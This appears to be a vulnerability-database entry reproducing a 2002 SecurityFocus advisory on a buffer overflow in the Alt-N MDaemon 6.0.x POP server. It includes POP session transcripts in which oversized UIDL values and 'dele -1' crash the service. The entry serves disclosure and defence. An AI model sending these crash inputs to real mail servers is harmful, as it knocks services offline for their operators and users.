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Alt-N MDaemon 6.0.x - POP Server Buffer Overflow
source: https://www.securityfocus.com/bid/6053/info
A buffer overflow vulnerability has been reported for MDaemon. The vulnerability is due to inadequate bounds checking on some POP server commands.
An attacker can exploit this vulnerability by submitting a very large integer value to some commands on the POP server. This will cause the MDaemon service to crash when attempting to process the command.
+OK somedomain.com POP MDaemon 6.0.5 ready
<[email protected]>
USER blah
+OK blah... Recipient ok
PASS 123456
+OK [email protected]'s mailbox has 0 total messages (0 octets).
UIDL 2147483647
-ERR no such message
UIDL 2147483648
+OK -2147483648 !!! Index 0 is not used
UIDL 2147483649
Connection to host lost.
---
user dark
+OK dark... Recipient ok
pass ******
+OK dark@dark's mailbox has 13 total messages (2274775 octets).
dele -1
Connection to host lost. Data
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28 Oct 2002 00:00Current
7.4High risk
Vulners AI Score7.4